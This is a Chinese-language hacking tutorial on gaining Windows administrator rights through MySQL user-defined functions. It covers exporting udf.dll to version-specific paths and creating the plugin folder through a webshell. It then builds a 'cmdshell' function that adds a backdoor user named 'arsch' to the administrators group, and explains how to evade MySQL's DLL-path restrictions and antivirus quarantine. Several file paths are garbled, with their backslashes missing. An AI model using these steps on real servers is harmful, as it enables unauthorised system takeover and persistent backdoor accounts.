一、適用條件
1.目標系統是Windows(Win2000,XP,Win2003);
2.你已經擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數(MYSQL文檔原語)。
3.有root賬號密碼
二、導出udf
MYSQL 5.1以下版本導出路徑:
C:Winntudf.dll 2000
C:Windowsudf.dll 2003(有的系統被轉義,需要改為C:Windowsudf.dll)
導出DLL文件,導出時請勿必注意導出路徑(一般情況下對任何目錄可寫,無需考慮權限問題)
MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數
可以再mysql里輸入
select @@basedir
show variables like ‘%plugins%’ 尋找mysql安裝路徑
該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然后將udf.dll文件導出到該目錄即可。
三、提權
使用SQL語句創建功能函數。語法:Create Function 函數名(函數名只能為下面列表中的其中之一)returns string soname ‘導出的DLL路徑’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
總結:
mysql中支持UDF擴展 ,使得我們可以調用DLL里面的函數來實現一些特殊的功能。
但是對於UDF的具體限制,MYSQL的各個版本各有不同。 下面記錄一下:
在MYSQL 4.1以前的版本中,可以將所有的DLL文件里面的任何函數都注冊到MYSQL里面以供MYSQL調用。
無論這個DLL在什么位置,函數的聲明是什么樣的。
在MYSQL 4.1及以后的版本中,對UDF函數進行了限制,只有實現了一個特定接口的函數才可以被成功注冊到MYSQL中,
這樣就防止了通過MYSQL非法調用系統的DLL。
在MYSQL5.0以后,對注冊的DLL的位置有了限制,創建函數的時候,所對應的DLL不能包含/或者,簡單的理解就是不能是絕對路徑。
所以我們將DLL釋放到system32目錄,來跳過這個限制..或者放到盤符的根目錄下通過c:udf.dll這種形式的寫法來跳過限制。
后來發現原來只要把dll放到PATH這個環境變量所表示的任何一個目錄下面,效果跟放到system32目錄下面一樣。
再說MYSQL5.1,這里有個問題相信大家會經常遇到的。。
大家有的時候在創建函數的時候,常常會遇到:
數據庫查訊出錯,請檢查SQL語句create function cmdshell returns string soname ‘udf.dll’的語法是否正確。Function ‘cmdshell’already exists
官方描述如下:
http://bugs.mysql.com/bug.php?id=15439
Description:
Under some circumstances, case handling of UDF names leads to strange behaviour.
This can result in a situation where the function can be successfully dropped
without actually removing the corresponding entry from the mysql.func table.
…………這是因為MYSQL 5.1及以后的版本中,又多了一個限制。
創建函數時所用的DLL只能放在mysql的plugin目錄里面。。
而且這個plugin目錄默認是不存在的。。可能就是為了防止通過into dumpfile將DLL來寫到這個文件夾。。
MYSQL是無法創建目錄的, 如果into dumpfile的目標目錄不存在是會報錯的。
所以在導出UDF提權之前 ,先確定一下MYSQL的版本是有必要的。
如果是5.1以后的,那就不行了,如果是5.1以前的版本創建函數的時候還報Can’t open shared library這個錯誤。
那就要看看DLL是不是真的被導出了,還是被殺軟隔離或者干掉了。